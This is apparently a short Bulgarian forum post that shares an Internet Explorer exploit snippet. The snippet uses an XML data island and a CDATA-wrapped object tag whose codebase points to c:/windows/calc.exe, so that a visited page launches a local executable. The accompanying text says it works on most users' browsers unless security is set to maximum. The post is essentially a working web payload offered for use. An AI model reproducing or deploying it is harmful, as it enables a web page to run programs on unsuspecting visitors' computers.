----------

<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span> <xml id="oExec">
<security> <exploit> <![CDATA[<object id="oFile" classid="clsid:11111111-1111-1111-1111-111111111111"
codebase="c:/windows/calc.exe"></object>]]> </exploit> </security>
</xml>
стига да знаеш къде е файла на клиента това ще ти свърши работа
но е само за интернет екслорер(само за 95% от потребителите;-)
п.с с горния код би трябвало да ти отвори калкулатора ( стига да натсройките за сигурност да не са на най-висока защита)